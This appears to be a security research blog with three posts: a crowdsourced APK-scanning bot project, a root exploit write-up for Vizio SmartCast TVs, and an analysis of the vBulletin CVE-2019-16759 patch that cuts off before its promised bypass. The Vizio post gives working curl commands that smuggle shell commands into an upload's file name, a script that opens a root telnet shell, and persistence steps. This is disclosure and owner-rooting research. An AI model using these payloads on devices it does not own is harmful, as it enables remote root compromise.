ORP – The Open Research Project

Posted: April 3rd, 2021 | Author: | Filed under: Uncategorized | Tags: | Comments Off on ORP – The Open Research Project

We created the Exploitee.rs (formerly GTVHacker) over 10 years ago as a research group with the sole purpose of unlocking embedded devices for the public good. At that time, we were targeting GoogleTV devices but after the death of the platform, we migrated our research into general embedded devices. While each target provided a unique attack surface, we’ve historically relied on custom built tools that we’ve created to assist us in our research. These tools included items such as disassembler plugins which provided insight into interesting places within binaries to analyze or fuzzing harnesses which allowed for continuous background testing while performing our own manual analysis. While these tools have allowed us to focus our time on other areas, as each of us have evolved as researchers, we’ve embraced automation and added more to our internal tooling. This methodology has unfortunately provided more data output than we’ve been able to analyze and in some cases, we believe it has prevented vulnerabilities from being disclosed as quickly as could have been possible otherwise. While we’ve also looked at open sourcing our tooling, we prefer to keep the code private as we consider it valuable to our own future research.

Therefore, today we would like to introduce you to what we’ve been internally calling The Exploiteer’s Open Research Project (ORP). ORP will consist of a number of chat bots conducting automated research on different items including fuzzing open source projects, auditing APKs, and performing IOT firmware analysis. These bots would then output all results to our Discord chat server for analysis by the Exploitee.rs security community within designated channels. The project will start with the addition of our APK scanning bot which enumerates a list of top APKs within the Google Play store, then proceeds to search the APK and associated libraries for leaked credentials, databases, and private keys. After each round of APK downloading and analysis, the bot will restart allowing for constant testing of the newest top android mobile apps. We plan to evolve this bot to perform a deeper analysis of the APKs at a later point but will use the bots current output as a proof of concept for the general idea of crowdsourcing security analysis.

Example finding from ORP APK bot

We encourage researchers to comb through the results of the data and privately disclose the findings to the APK creators and while we appreciate credit, the goal of the project is to provide a safer environment for users by providing a form of independent checking of the mobile application ecosystem. We’re also hoping to improve the ORP projects output by collaborating with other researchers, so if you have an idea for an improvement or suggestion, please don’t hesitate to let us know.

If you’re interested in ORP, learning from other researchers, or Exploitee.rs in general, come chat with us on our Discord chat server.  We have a great community, we’re friendly and most of us don’t bite.


ViziOwn – Exploiting the Vizio SmartCast Platform

Posted: February 10th, 2021 | Author: | Filed under: Uncategorized | 4 Comments »

As an Exploiteer, we are no strangers to Smart TV’s, having exploited televisions from Sony and Samsung, to LG and Vizio. That, combined with being trapped inside, there isn’t a whole lot to do but watch TV, play games, patiently wait for the pandemic to end, and hack our previously purchased IoT. As the original Exploitee.rs team was formed just a bit over 10 years ago now, what a way to celebrate than with the release of a pre-authentication bug on a TV?

Please note this post goes into detail regarding a remote code execution mechanism in a component of software common to different model TV’s, which differ in both software stack and CPU/SOC, but just happen to feature a common vulnerability.


SmartCast OS

Vizio TV and “SmartCast OS”

Vizio’s latest foray has been through its use of its “SmartCast OS”, which leverages the “Google Cast”/Chromecast ecosystem by utilizing Chromium (the OSS version of the Chrome browser) along with an HTML and JavaScript driven interface. In fact, nearly every application on the device (Disney+, Hulu, YouTube, etc.) is a webpage launched within Chromium. This provides some safety in that by sandboxing the environment within a browser certain attacks can be avoided. However, the addition of vendor needed (and possibly insecure) APIs can quickly create an insecure environment. Below we’ll highlight the use and exploitation of one such API.


Vulnerability Discovery

First off, we started our analysis with a simple basic network scan.

Please ignore port 22 and 5555, as those have been opened after the fact.

nmap, as great as it is, has a simple “curse” in that only 1000 default ports are scanned. Lets try that scan again with the full port range.

Note: we’ve added the argument -p1-65535 to the scan

This time around we see a few extra ports, specifically 7345, 8005, 50403.

nmap also has the useful “-A” argument

-A: Enable OS detection, version detection, script scanning, and traceroute

Re-running our nmap scan with “-A” will get us a simple fingerprinting of services running on these ports.

We can see in the above image that port 7345 is running a web server with an SSL port open.

HTTPS, no page found… getting closer

We open the address and port in our browser and note that we’ve received a valid HTTPS response from the webserver (albeit a 404). Enumerating further by leveraging a different vulnerability (to be released later), and with a little luck we find the TVs /scpl/ interface.

The above is interesting as the webserver has a diagnostics interface and more than likely is serving other web services.

Exploiting a SmartCast Webservice

As noted earlier on, we did have a more hands on exploit for this system (which will be released in time / once this is patched), which we leveraged to dump the entire filesystem of the TV. As a result, we had files and binaries that we could leverage to explore.

Digging inside of the “scpl” directory, leveraging the earlier knowledge of the filesystem (retrieved from a firmware dump) with a cursory run of strings on files led us to the “/install” endpoint, from this “SCPL Sideload” html file.

templates/install.html

We then proceed by making a test request with curl to /install on the actual TV set.

curl "https://10.0.0.106:7345/install" -k -d "data=123"
<html><body>INCORRECT FILE</body></html>

The above request produces the interesting output “INCORRECT FILE”, we use the html file above to recreate the file upload request, leveraging “scpl_tgz_package” as a variable name, we get this informative output.

curl -F scpl_tgz_package=@./'file' "https://10.0.0.106:7345/install" -k<html><body>SCPL Install Package: file <br>
RUNNING CMD: rm -rf /data/tv/tmp/scpl_install; mkdir /data/tv/tmp/scpl_install<br><br>
RUNNING CMD: tar -xvzf /data/tv/tmp/file -C /data/tv/tmp/scpl_install<br>
CMD ERROR: tar: exec gunzip: No such file or directory
tar: read error
<br><br><br>Failure with installation, see logs</body></html>

Based on the above output, it appears that the service is running a command on the device based off the input of “scpl_tgz_package” (the name of the file), which we control! Trying it with a simple command injection:

curl -F scpl_tgz_package=@./'test`id`.tgz' "https://10.0.0.106:7345/install" -k
<html><body>SCPL Install Package: test`id`.tgz <br>
RUNNING CMD: rm -rf /data/tv/tmp/scpl_install; mkdir /data/tv/tmp/scpl_install<br><br>
RUNNING CMD: tar -xvzf /data/tv/tmp/test`id`.tgz -C /data/tv/tmp/scpl_install<br>
CMD ERROR: tar: /data/tv/tmp/testuid=0(root): No such file or directory
<br><br><br>Failure with installation, see logs</body></html>

Executing the command above, our filename is getting parsed and executed, resulting in “uid=0(root)” as part of the file name in the response. We have command injection!

SmartCast Exploit RCA

Once getting on the system and extracting the firmware, we can start digging around to see how this all works. We locate a lighttpd config for a service on 7345.

The relevant snippet of the config can be found below

$SERVER["socket"] == ":7345" {
    ssl.engine = "enable"
    ssl.pemfile = basedir + "/lighttpd/scpl-server.pem"
    # ssl.ca-file = basedir + "/lighttpd/cast_cacert.pem"
}

alias.url = (
    "/static" => basedir + "/lighttpd/static",
)

url.rewrite-once = (
    "^(/static.*)$" => "$1",
    "^(/.*)$" => "/restapp.fcgi$1",
)

In the above, we can see that the webserver passes any “/static” prefixed URLs to “restapp.fcgi”.

We then retrieve the contents of the restapp.fcgi file.

#!/bin/sh
###############################################################################
# launch SCPL with logwrapper
# invoked via lighttpd/lighttpd.conf
###############################################################################

export SCPL_ROOT=`/bin/cat /tmp/scpl_root`
export LD_LIBRARY_PATH=$SCPL_ROOT/lib:$LD_LIBRARY_PATH

exec /system/bin/logwrapper $SCPL_ROOT/lighttpd/scpl.sh

In the above, we can see that the “restapp.fcgi” script is just a wrapper for the “scpl.sh” shell script.

We then cat the “scpl.sh” script:

#!/bin/sh
###############################################################################
# launch SCPL
# invoked via lighttpd/restapp.fcgi
###############################################################################
export SCPL_ROOT=`/bin/cat /tmp/scpl_root`

# vzservices
#PYTHONPATH=/data/debug/vzservices/lib:/application/vzservices/lib
# bluetooth
PYTHONPATH=$PYTHONPATH:/system/bin/bluetooth/lib
# scpl
PYTHONPATH=$PYTHONPATH:/system/lib:$SCPL_ROOT/lib
export PYTHONPATH

export AWS_DATA_PATH=$SCPL_ROOT/site-packages/botocore

LD_LIBRARY_PATH=$SCPL_ROOT/lib:/system/bin/bluetooth/lib:$LD_LIBRARY_PATH
export LD_LIBRARY_PATH

echo $$ > /var/run/manage.pid
exec $SCPL_ROOT/bin/manage runfcgi method=threaded

Now this gets a bit more interesting. The script “scpl.sh” executes the “manage” binary. The “manage” binary is a 18MB file, which appears to be a pyinstall-like created ELF. This binary has a bunch of packed .pyc files in its data section, and a python interperter. Having never encountered this type of format before, we fired up a hex editor to investigate further.

Down the rabbit hole:

These strings look familiar and we’ve seen some of them in previous tests. We seem to be getting close to the true root cause of the vulnerability.

Extracting the .pyc files took a tad more effort in that around that block of code above are ascii “<module>” strings. Extracting these out, and flagging for Python 2.7 bytecode allowed uncompyle6 to do it’s work.

Before:

00000000  01 0c 01 0f 02 00 00 00  63 00 00 00 00 00 00 00
00000010  00 03 00 00 00 40 00 00  00 73 9d 00 00 00 64 00
00000020  00 64 01 00 6c 00 00 6d  01 00 5a 01 00 01 64 00
00000030  00 64 02 00 6c 02 00 6d  03 00 5a 03 00 01 64 00
00000040  00 64 03 00 6c 04 00 6d  05 00 5a 05 00 01 64 00
00000050  00 64 04 00 6c 06 00 6d  07 00 5a 07 00 01 64 00  

After:

00000000  03 f3 0d 0a ab 02 1f 60  63 00 00 00 00 00 00 00
00000010  00 03 00 00 00 40 00 00  00 73 9d 00 00 00 64 00
00000020  00 64 01 00 6c 00 00 6d  01 00 5a 01 00 01 64 00
00000030  00 64 02 00 6c 02 00 6d  03 00 5a 03 00 01 64 00
00000040  00 64 03 00 6c 04 00 6d  05 00 5a 05 00 01 64 00
00000050  00 64 04 00 6c 06 00 6d  07 00 5a 07 00 01 64 00 

Decompiled “manage” Binary

We can now dig into the actual functions in question. Because we know that the request, which triggered our code execution vulnerability, was a post request. We start with the post handler

    def post(self, request, property=None):
        logger.info('POST')
        if request.FILES.get('scpl_tgz_package', None):
            _file = request.FILES.get('scpl_tgz_package')
            _output = ''
            logger.info('SCPL Install Package: %s', _file)
            _output += 'SCPL Install Package: %s <br>' % _file
            try:
                _response = ''
                _file_and_path = ('{path}/{filename}').format(path=SystemPath.PATH.SCPL_TMP(), filename=_file)
                _extract_location = '%s/scpl_install' % SystemPath.PATH.SCPL_TMP()
                _install_script = _extract_location + '/install.sh'
                self.handle_uploaded_file(_file, _file_and_path)
                _cmd = 'rm -rf %s; mkdir %s' % (_extract_location, _extract_location)
                _continue, _log = self._run_cmd(_cmd)
                _output += _log
                if not _continue:
                    raise Exception('Failure with installation, see logs')
                _cmd = ('tar -xvzf {download_location} -C {extract_location}').format(download_location=_file_and_path, extract_location=_extract_location)
                _continue, _log = self._run_cmd(_cmd)

In the code above, if there is a “scpl_tgz_package” posted value, it sets the “_file” variable to it. Following the variable assignment, the handler proceeds to take the “_file” value and appends it to a path stored within “_file_and_path”. Then, in the last few lines, the handler passes the input from _file, to “_file_and_path” to “_run_cmd” for use in a tarball extraction operation.

We then locate the “_run_ command” definition to check for any embedded filtering.

    def _run_cmd(self, cmd):
        logger.info('RUNNING CMD: %s', cmd)
        _output = 'RUNNING CMD: %s<br>' % cmd
        try:
            _output += subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True, universal_newlines=True)
            _output = _output.replace('\n', '<br>')
            _output += '<br>'
            logger.info('CMD OUTPUT: %s', _output)
        except subprocess.CalledProcessError as exc:
            logger.info('CMD ERROR: %s' % exc.output)
            _output += 'CMD ERROR: %s<br>' % exc.output
            return (False, _output)

        return (True, _output)
https://docs.python.org/3/library/subprocess.html

The above utilizes the subprocess library’s check_output function to execute a command. Since this was running as a root user, with no privilege separation, we end with full root access.

Note: There are a few other interesting things to point out with the above code, in that another avenue of exploitation could be leveraged with a malicious install.sh file vs command injection in the filename.


Exploit PoC(s)

This is a pre-auth remote exploit for a large portion of the Vizio SmartCast TV’s, allowing for (persistent) root code execution.

Notes / Caveats:

  • This can currently persist until there is an update, functionality needs to be added to prevent updates.
  • There are a few types of updates, OS updates (including kernel and most of the filesystem), UI updates – which include binaries, JSON config files, HTML pages, and app updates. Plus a few other update types (Chrome, AppleTV, etc).
  • This appears to be safe, and has been running without issue on our end for the last few weeks. There is always the chance that something can go wrong, so please use caution, and we shall not be held liable if something goes wrong.
  • Depending on the model of your TV, you may need to attempt the 2nd POC. The Exploit will still work, but the payload may need to be different. There MIGHT be a correlation between “high-end” (SX7 and the like) sets and “low-end” sets (MT588X). If the first one doesn’t work, try the second, then pop on our discord to let us know!

There is a breakdown on the vulnerability above, but the process can be summarized as a trivial command injection within a webserver’s POST request handler. For our example, my TV is at “10.0.0.106”, Replace that with the IPv4 address of your TV in all of the following examples.

There is a very easy way to use this, visit our page below on your network and enter your TV’s IPv4 address, and follow the instructions. It will use queries to automatically enable sshd on your TV. Or, utilize the curl command further below if you want to see whats going on.

CLICK HERE TO ROOT YOUR SX7 TV

The page linked above will perform a more error-resistant, interactive, method of enabling sshd. You will still need to manually ensure it persists, by following the instructions further below.

The Automagical Way

Or, the simple bash one-liner and then the ssh in way:

touch 'exploiteers`start sshd`.tgz' && curl -F scpl_tgz_package=@./'exploiteers`start sshd`.tgz' "https://10.0.0.106:7345/install" -k

# Then, SSH in
ssh [email protected]
cat build.prop | grep fingerprint
Proof of Concept

This was tested on the 2018 PQ65-F1, and works well and reliably. It should also work the same way on other models (ro.board.platform=sx7). However, for some models this may need to be tweaked as they may not have a sshd binary on the device.

Other Models. Same Exploit. Different Payload (MT588X)

For example, on the D32F-G1, the exploit works, but the payload needs to be different, as you may an error displayed such as:

RUNNING CMD: tar -xvzf /3rd_rw/sc-data/tmp/exploiteers`sshd`.tgz -C /3rd_rw/sc-data/tmp/scpl_install<br>CMD ERROR: /bin/sh: sshd: command not found

The exploit is still running as root, however the sshd daemon is not being started as it does not exist. I’d like to thank riptide_wave on our discord for testing this out, so we could deliver another working POC for a different board/model.

These sets (which can be identified by their ro.board.platform value of “MT5581VHBJ”) have the same vulnerability, but a different software stack, therefore, we need to tweak the payload. The payload below will push a “busybox” binary and script over. Then extract, run it, and launch the “telnetd” daemon.

DOWNLOAD MT5581 PAYLOAD and SCRIPT

#!/bin/sh
IP=10.0.0.106

touch 'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && tar xfv exploiteers.tar`.tar'
touch 'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && sh install.sh`.tar'

echo "Pushing binaries..."
curl -F scpl_tgz_package=@./'exploiteers.tar' "https://$IP:7345/install" -k -H "Expect: "
echo "Extracting binaries..."
curl -F scpl_tgz_package=@./'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && tar xfv exploiteers.tar`.tar' "https://$IP:7345/install" -k -H "Expect: "
echo "Executing script..."
curl -F scpl_tgz_package=@./'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && sh install.sh`.tar' "https://$IP:7345/install" -k -H "Expect: "
echo "Try telnet on port 1337"

exploiteers.tar contains:

  • “busyboxv7” from: https://busybox.net/downloads/binaries/1.21.1/busybox-armv7l
  • “install.sh” which consists of:
#!/bin/sh
echo pwd
chmod 777 /3rd_rw/sc-data/tmp/busyboxv7
/3rd_rw/sc-data/tmp/busyboxv7 telnetd -p 1337 -l /bin/sh

Since there are a number of TV’s affected by this vulnerability, running differing software stacks, you may run into issues. If so, pop on our discord and we will do our best to help!


Persistence Modification

To make the payload persist, you need to make a few extra changes after connecting.

First pull the “run_console_onoff.sh” file locally.

#copy the run_console_onoff.sh script locally to edit
scp run_console_onoff.sh [email protected]:/system/bin/run_console_onoff.sh .

Now, edit the file. Note the line added in before the if of “start sshd” in the image below? Make the changes but watch your line endings! Then, save the file, remount the partition RW, and push the file back and reboot.

run_console_onoff.sh after modification
#remount the TV /system RW
ssh [email protected]
mount -o,remount rw /system
exit

scp run_console_onoff.sh [email protected]:/system/bin/
#reconnect to the TV
ssh [email protected]	
#remount /system ro and reboot
mount -o,remount ro /system
reboot

Beyond The Root

We often find ourselves facing this question:

We have code execution on this device? Awesome. Now what can we do with it?

The answer is everything, and nothing. The keys are in the hands of the community to come up with something amazing, something killer, or just have another rooted device taking up space.

A few of my pain points and thoughts include:

  • Automatic Content Recognition (ACR) data – what data of mine is being sent and how can I prevent it?
  • Can I add new “apps” (webpages, mostly)
  • Can I play DOOM?
  • What the hell is Xumo, and Crackle, and why do I keep pressing this button? Why isn’t it Hulu, or some other app I prefer more?
Heard a rumor that these services pay per button press.

Xumo is an American over-the-top internet television service owned by telecommunications conglomerate Comcast.

…apparently (per wikipedia)

Lets tackle remote button remappings! There are two approaches to doing it, one is leveraging the UI updates, and modifying a JSON file. The other is modifying the actual IR key mapping.

IR Keymapping

Doing IR keymapping is fairly straight forward, ssh in and grab this file via scp:

scp [email protected]:/system/misc/Key.xml .

Then, open it in your favorite editor, and find the key you want to modify, and change it! Alter the “UI” value. Peeking through the file, they’ve mapped other keys too. Hulu is 0x100090

Xumo Before
Xumo is now Hulu

Save the file, remount your system partition RW (as shown above), SCP it back, and reboot the TV via SSH

#remount the TV /system RW
ssh [email protected]
mount -o,remount rw /system
exit

scp Key.xml [email protected]:/system/misc/Key.xml

JSON Update

The JSON update method of remapping is actually a bit cleaner, as we can really change where we want things to redirect to and increase our version number so it isn’t quickly overwritten.

We use the same process here as above. We are going to grab a file from the TV, edit it, and push it back.

scp [email protected]:/data/tv/save/sc-config.json .

This file could use a lot of exploration. Giving it a quick pass through jq makes it much easier to read:

cat sc-config.json | jq . > sc-config-mod.json

The file is interesting for multiple reasons, there are links to encrypted firmware blobs, AWS secret keys, these HtmlAppURI’s for streaming video… but lets focus on changing a button… this time Crackle.

You can even modify the VirtualInputs (accessible by pressing the input key) to add / change an app. Here, we removed WatchFree and replaced it with Hulu. Note the AppID of 3 that relates back to the URL above, indexed at 3.

It is as simple as swapping a few IR codes around (which, are different… for some reason).

Crackle URL and IR Code
Hulu URL and IR Code

The simplest way to do it – just swap the IR codes. Hulu is now 0xF8, Crackle is now 0xF9, scp it back and reboot the tv.

ssh sc-config-mod.json [email protected]:/data/tv/save/sc-config.json

There may be plenty of other things to do with this and other sets – and if you have ideas or additions, please share here, on our wiki, or on our discord!


Appendix: Python Code

# uncompyle6 version 3.7.4
from rest_framework.renderers import StaticHTMLRenderer
from rest_framework.views import APIView
from rest_framework.response import Response
from REST.utils import SystemPath
from django.conf import settings
import os, subprocess, logging
logger = logging.getLogger(__name__)

class install(APIView):
    renderer_classes = (
     StaticHTMLRenderer,)

    def is_tv_in_device_group(self):
        from REST.resources import Global
        _storedScDevice = Global.storageManager.getProperty('__scGroup')
        if not _storedScDevice and settings.PROXY_TEST is False:
            return False
        return True

    def get(self, request, property=None):
        _content = '<html><head>{style}</head><body>{content}</body></html>'
        _style = '<style> body {font-family: Arial, Helvetica, sans-serif; } #customers { border-collapse: collapse; width: 30%;} #customers td, #customers th {border: 1px solid #ddd; padding: 8px;} #customers tr:nth-child(even){background-color: #f2f2f2;} #customers tr:hover {background-color: #ddd;} #customers th {padding-top: 12px; padding-bottom: 12px; text-align: center; background-color: #e4f2c1; color: black;} span.warning {border: 2px solid orange; } span.error {border: 2px solid red; } </style>'
        if not self.is_tv_in_device_group():
            _content = _content.format(style=_style, content='TV must be in a device group')
            return Response(_content)
        _body = '<table style="float: left" id=customers><thead><tr><th colspan=2>VIZIO - SCPL Side Load Installation</th></tr></thead><tbody><form action="/install" method="post" enctype="multipart/form-data" name="install" id="install"><tr><td>Package (.tgz)</td><td><input type="file" name="scpl_tgz_package" id="scpl_tgz_package"></td></tr><tr><td>&nbsp;</td><td><input type="submit" name="Install" value="Install"></td></tr></form></tbody></table>'
        _content = _content.format(style=_style, content=_body)
        return Response(_content)

    def post(self, request, property=None):
        logger.info('POST')
        if request.FILES.get('scpl_tgz_package', None):
            _file = request.FILES.get('scpl_tgz_package')
            _output = ''
            logger.info('SCPL Install Package: %s', _file)
            _output += 'SCPL Install Package: %s <br>' % _file
            try:
                _response = ''
                _file_and_path = ('{path}/{filename}').format(path=SystemPath.PATH.SCPL_TMP(), filename=_file)
                _extract_location = '%s/scpl_install' % SystemPath.PATH.SCPL_TMP()
                _install_script = _extract_location + '/install.sh'
                self.handle_uploaded_file(_file, _file_and_path)
                _cmd = 'rm -rf %s; mkdir %s' % (_extract_location, _extract_location)
                _continue, _log = self._run_cmd(_cmd)
                _output += _log
                if not _continue:
                    raise Exception('Failure with installation, see logs')
                _cmd = ('tar -xvzf {download_location} -C {extract_location}').format(download_location=_file_and_path, extract_location=_extract_location)
                _continue, _log = self._run_cmd(_cmd)
                _output += _log
                if not _continue:
                    raise Exception('Failure with installation, see logs')
                _cmd = ('sh {install_script} {filename}').format(install_script=_install_script, filename=_file_and_path)
                _continue, _log = self._run_cmd(_cmd)
                _output += _log
                if not _continue:
                    raise Exception('Failure with installation, see logs')
                _output += '<br><b>SOFT POWER CYCLE TV</b><br>'
                return Response(('<html><body>{content}</body></html>').format(content=_output))
            except Exception as e:
                logger.info('ERROR: %s', str(e))
                _output += '<br><br>' + str(e)
                return Response(('<html><body>{content}</body></html>').format(content=_output))

        else:
            logger.info('INCORRECT FILE')
            return Response('<html><body>INCORRECT FILE</body></html>')
        return

    def _run_cmd(self, cmd):
        logger.info('RUNNING CMD: %s', cmd)
        _output = 'RUNNING CMD: %s<br>' % cmd
        try:
            _output += subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True, universal_newlines=True)
            _output = _output.replace('\n', '<br>')
            _output += '<br>'
            logger.info('CMD OUTPUT: %s', _output)
        except subprocess.CalledProcessError as exc:
            logger.info('CMD ERROR: %s' % exc.output)
            _output += 'CMD ERROR: %s<br>' % exc.output
            return (False, _output)

        return (True, _output)

    def handle_uploaded_file(self, f, fileto):
        logger.info('HANDLE UPLOADED FILE: %s', fileto)
        with open(fileto, 'wb+') as (destination):
            for chunk in f.chunks():
                destination.write(chunk)

Exploiting vBulletin: “A Tale of a Patch Fail”

Posted: August 9th, 2020 | Author: | Filed under: Uncategorized | 1 Comment »

On September 23, 2019 an undisclosed researcher released a bug which allowed for PHP remote code execution in vBulletin 5.0 through 5.4. This bug (CVE-2019-16759) was labeled as a ‘bugdoor’ because of its simplicity by a popular vulnerability broker and was marked with a CVSS 3.x score of 9.8 giving it a critical rating.

Today, we’re going to talk about how the patch that was supplied for the vulnerability was inadequate in blocking exploitation, show how to bypass the resulting fix, and releasing a bash one-liner resulting in remote code execution in the latest vBulletin software.

CVE-2019-16759

The vulnerability mentioned above was later formally labeled “CVE-2019-16759” and a patch was issued on September 25, 2019. Although the patch was provided in just under 3 days, the patch seemed, at the time, to fix the proof of concept exploit provided by the un-named finder.

The patch(s) consisted of three main changes provided in 2 sets of patches, the first being shown below.

120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
         /**
          *      Remove any problematic values from the template
          *      variable arrays before rendering
          */
         //for now don't pass the values through.  These arrays are potentially large
         //and we don't want to make unnecesary copies.  The alternative is to pass by
         //reference which causes it's own headaches.  It's an internal function and the
         //relevant arrays are all class variables.
         private function cleanRegistered()
         {   
                 $disallowedNames = array('widgetConfig');
                 foreach($disallowedNames AS $name)
                 {   
                         unset($this->registered[$name]);
                         unset(self::$globalRegistered[$name]);
                 }
         }

The above function was added but unfortunately had to be obtained from the code as opposed to directly from a diff between the two coded bases. This is because vBulletin doesn’t provide the older insecure versions of their software after a patch is released. Therefore, the above code was pulled directly from 5.5.4 Patch Level 2.

The above “cleanRegistered” function was added as the first fix to the vulnerability and simply iterates through a list of non-allowed “registered variables”, deleting their contents when found. This list when added only contained the name of the single variable which contained the php code to execute in the released exploit.

In the next version of the software (vBulletin 5.5.5), the following pieces were added to further prevent future problems with the widget_rendering template code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
diff -ur vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/frontend/applicationlight.php vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/frontend/applicationlight.php
--- vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/frontend/applicationlight.php	2020-08-08 06:40:31.356918994 -0500
+++ vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/frontend/applicationlight.php	2020-08-08 06:40:40.577517014 -0500
@@ -286,20 +286,32 @@
 			throw new vB5_Exception_Api('ajax', 'render', array(), 'invalid_request');
 		}
 
-		$this->router = new vB5_Frontend_Routing();
-		$this->router->setRouteInfo(array(
-			'action'          => 'actionRender',
-			'arguments'       => $serverData,
-			'template'        => $routeInfo[2],
-			// this use of $_GET appears to be fine,
-			// since it's setting the route query params
-			// not sending the data to the template
-			// render
-			'queryParameters' => $_GET,
-		));
-		Api_InterfaceAbstract::setLight();
+		$templateName = $routeInfo[2];
+		if ($templateName == 'widget_php')
+		{
+			$result = array(
+				'template' => '',
+				'css_links' => array(),
+			);
+		}
+		else
+		{
+			$this->router = new vB5_Frontend_Routing();
+			$this->router->setRouteInfo(array(
+				'action'          => 'actionRender',
+				'arguments'       => $serverData,
+				'template'        => $templateName,
+				// this use of $_GET appears to be fine,
+				// since it's setting the route query params
+				// not sending the data to the template
+				// render
+				'queryParameters' => $_GET,
+			));
+			Api_InterfaceAbstract::setLight();
+			$result = vB5_Template::staticRenderAjax($templateName, $serverData);
+		}
 
-		$this->sendAsJson(vB5_Template::staticRenderAjax($routeInfo[2], $serverData));
+		$this->sendAsJson($result);
 	}
 
 	/**

This portion of the patch created an if statement that would return empty template or css data if the ‘widget_php’ template was listed as the last portion of the route. These two changes prevented the PoC from functioning in its released state.

The third change can be found in the second part of the vBulletin 5.5.5 update diff.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 	diff -ur vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/template/runtime.php vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/template/runtime.php
--- vBulletin/vBulletin/vb5_connect/vBulletin-5.5.4_Patch_Level_2/upload/includes/vb5/template/runtime.php	2020-08-08 06:40:31.276913797 -0500
+++ vBulletin/vBulletin/vb5_connect/vBulletin-5.5.5/upload/includes/vb5/template/runtime.php	2020-08-08 06:40:40.493511575 -0500
@@ -12,6 +12,26 @@
 
 class vB5_Template_Runtime
 {
+	//This is intended to allow the runtime to know that template it is rendering.
+	//It's ugly and shouldn't be used lightly, but making some features widely
+	//available to all templates is uglier.
+	private static $templates = array();
+
+	public static function startTemplate($template)
+	{
+		array_push(self::$templates, $template);
+	}
+
+	public static function endTemplate()
+	{
+		array_pop(self::$templates);
+	}
+
+	private static function currentTemplate()
+	{
+		return end(self::$templates);
+	}
+
 	public static $units = array(
 		'%',
 		'px',
@@ -1944,6 +1964,21 @@
 			return '<div style="border:1px solid red;padding:10px;margin:10px;">' . htmlspecialchars($timerName) . ': ' . $elapsed . '</div>';
 		}
 	}
+
+	public static function evalPhp($code)
+	{
+		//only allow the PHP widget template to do this.  This prevents a malicious user
+		//from hacking something into a different template.
+		if (self::currentTemplate() != 'widget_php')
+		{
+			return '';
+		}
+		ob_start();
+		eval($code);
+		$output = ob_get_contents();
+		ob_end_clean();
+		return $output;
+	}
 }

This portion was added as a layer of redundancy to attempt to prevent any non ‘widget_php’ template from loading the eval code. Based on the comment in the code, this is an attempt to prevent a user from modifying a template to incorrectly call the ‘evalPhp’ without doing so from an embedded php widget.

Problems Ahead

The problem with the above arises because of how the vBulletin template system is structured. Specifically, templates aren’t actually written in PHP but instead are written in a language that is first processed by the template engine and then is output as a string of PHP code that is later ran through an eval() during the “rendering” process. Templates are also not a standalone item but can be nested within other templates, in that one template can have a number of child templates embedded within. For example, take the following template.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
		<template name="widget_php" templatetype="template" date="1569453621" username="vBulletin" version="5.5.5 Alpha 4"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
	{vb:data widgetConfig, widget, fetchConfig, {vb:raw widgetinstanceid}}
</vb:if>
 
<vb:if condition="!empty($widgetConfig)">
	{vb:set widgetid, {vb:raw widgetConfig.widgetid}}
	{vb:set widgetinstanceid, {vb:raw widgetConfig.widgetinstanceid}}
</vb:if>
 
<div class="b-module{vb:var widgetConfig.show_at_breakpoints_css_classes} canvas-widget default-widget custom-html-widget" id="widget_{vb:raw widgetinstanceid}" data-widget-id="{vb:raw widgetid}" data-widget-instance-id="{vb:raw widgetinstanceid}">
 
	{vb:template module_title,
		widgetConfig={vb:raw widgetConfig},
		show_title_divider=1,
		can_use_sitebuilder={vb:raw user.can_use_sitebuilder}}
 
	<div class="widget-content">
		<vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
			<vb:comment>
				Do not eval anything other than the widgetConfig code -- anything else could potentially come
				from a malicious user.  Do not use phpeval outside of this template.  Ever.
			</vb:comment>
			{vb:phpeval {vb:raw widgetConfig.code}}
		<vb:else />
			<vb:if condition="$user['can_use_sitebuilder']">
				<span class="note">{vb:phrase click_edit_to_config_module}</span>
			</vb:if>
		</vb:if>
	</div>
</div>]]></template>

This template would be rendered to the following PHP code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$final_rendered = '' . ''; 
if (empty($widgetConfig) AND !empty($widgetinstanceid)) {
  $final_rendered .= '\r\n\t' . ''; 
  $widgetConfig = vB5_Template_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid);
  $final_rendered .= '' . '\r\n';\n\t\t\t\t
} else {
  $final_rendered .= '';
}
$final_rendered .= '' . '\r\n\r\n' . '';
if (!empty($widgetConfig)) {
  $final_rendered .= '\r\n\t' . '';
  $widgetid = $widgetConfig['widgetid'];
  $final_rendered .= '' . '\r\n\t' . '';
  $widgetinstanceid = $widgetConfig['widgetinstanceid'];
  $final_rendered .= '' . '\r\n';\n\t\t\t\t
} else {
  $final_rendered .= '';
}
